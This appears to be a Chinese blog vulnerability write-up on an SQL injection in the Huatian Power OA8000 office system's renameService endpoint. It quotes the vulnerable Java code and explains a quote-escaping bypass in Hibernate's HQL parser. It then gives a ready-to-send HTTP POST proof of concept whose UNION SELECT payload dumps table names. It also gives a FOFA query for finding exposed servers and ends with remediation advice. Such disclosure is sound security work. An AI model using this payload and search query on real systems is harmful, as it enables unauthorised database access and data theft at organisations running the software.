某天OA系统是一个以技术领先著称的协同软件产品,具有极为突出的实用性、易用性和高性价比,实施简便,使用灵便。该系统renameService接口中的传参可以导致HQL语句闭合造成SQL注入,恶意攻击者可以通过该漏洞获取数据库敏感信息或获取服务器权限。
OA系统较早版本中使用了已经停止更新的Buffalo-Ajax
服务,它是一个前后贯通的完整的java Ajax框架,通过Servlet的init过程初始化配置暴露给Buffalo远程调用的服务,一般通过内置文件buffalo-service.properties
进行配置。
首先找到/WEB-INF/classes/buffalo-service.properties
文件,查看renameService对应的包位置
进入到com.oa8000.htfile.htfile01.manager.HtFile01Manager
方法中
在第259行,有如下代码
public List getFileListWithIdList(String[] idList) {
if (idList == null || idList.length == 0)
return null;
StringBuffer hql = new StringBuffer();
hql.append("from com.oa8000.proxy.db.HiDbFileStorage file where file.fileStorageId in (");
boolean firstFlg = true;
for (String id : idList) {
if (id != null && !id.equals("")) {
if (firstFlg) {
firstFlg = false;
} else {
hql.append(",");
}
hql.append("'" + id + "'");
}
}
hql.append(")");
return (new HiMainDao()).findList(hql.toString());
}
要调用这个getFileListWithIdList方法,Buffalo-Ajax规定请求体格式如下
<buffalo-call>
<method>getFileListWithIdList</method>
<list><type>[java.lang.String</type>
<length>2</length>
<string>1</string>
<string>1</string>
</list>
</buffalo-call>
调用详情可以参考文档:http://www.blogjava.net/itstarting/archive/2010/01/12/309152.html
简单来说就是
<buffalo-call>
<method>方法名称</method>
这里填充请求参数
</buffalo-call>
咱们回到代码中,方法中接收一个数组字符串idList,再将数组中的每一个字符串拼接到HQL语句from com.oa8000.proxy.db.HiDbFileStorage file where file.fileStorageId in ()
中执行
这里拼接使用的代码如下,是将每个字符串提取出来直接拼接,使用逗号隔开,最后再使用)
闭合where in (
条件
for (String id : idList) {
if (id != null && !id.equals("")) {
if (firstFlg) {
firstFlg = false;
} else {
hql.append(",");
}
hql.append("'" + id + "'");
}
}
hql.append(")");
这里很明显可以控制最后一个字符串让HQL语句进行闭合,在HQL转义成SQL语句执行前先闭合成我们要的HQL语句
这里又涉及到HQL语句的特性了,在5.6.15
版本之前,存在着对单引号转义的差异导致的逃逸问题,参考文章:https://xz.aliyun.com/news/14857
简单来说就是如果HQL语句拼接的某一参数中存在\'
转义符号,HQL语句会不进行合理性校验直接转为SQL语句,这样就不会造成报错无法执行恶意语句
比如我构造传参
<buffalo-call>
<method>getFileListWithIdList</method>
<list><type>[java.lang.String</type>
<length>2</length>
<string>1</string>
<string>1\'') union select 1,2,3#</string>
</list>
</buffalo-call>
字符数组最后一个字符串闭合了HQL语句,执行时候就变成了如下的
from com.oa8000.proxy.db.HiDbFileStorage file where file.fileStorageId in ('1','1\'') union select 1,2,3#)
所以可以执行任意查询语句,这里我为了方便直接用union
查询相同表长度的数据,但每次只能返回一条数据展示,因此还加上了limit
和offset
语句控制数据量
POST /OAapp/bfapp/buffalo/renameService HTTP/1.1
Host:
Accept-Encoding: identity
Content-Length: 103
Accept-Language: zh-CN,zh;q=0.8
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Connection: keep-alive
Cache-Control: max-age=0
<buffalo-call>
<method>getFileListWithIdList</method>
<list>
<type>[java.lang.String</type>
<length>2</length>
<string>1</string>
<string>1\'') union select table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name from information_schema.tables where table_schema= database() LIMIT 1 OFFSET 0#</string>
</list>
</buffalo-call>
查询数据库表名称
同理查询数据库名称
该漏洞的形成原因是代码中使用+
号直接拼接HQL语句,才造成的SQL注入,使用预编译占位符可以规避这类的SQL注入风险。
FOFA语法
app="华天动力-OA8000"
POC
POST /OAapp/bfapp/buffalo/renameService HTTP/1.1
Host:
Accept-Encoding: identity
Content-Length: 103
Accept-Language: zh-CN,zh;q=0.8
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Connection: keep-alive
Cache-Control: max-age=0
<buffalo-call>
<method>getFileListWithIdList</method>
<list>
<type>[java.lang.String</type>
<length>2</length>
<string>1</string>
<string>1\'') union select table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name from information_schema.tables where table_schema= database() LIMIT 1 OFFSET 0#</string>
</list>
</buffalo-call>
升级华天动力OA-8000到最新版,并升级Hibernate框架版本,避免HQL语句解析问题造成SQL注入。修改getFileListWithIdList方法中直接使用字符串拼接查询语句的问题,建议直接使用占位符来避免注入风险。
3 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!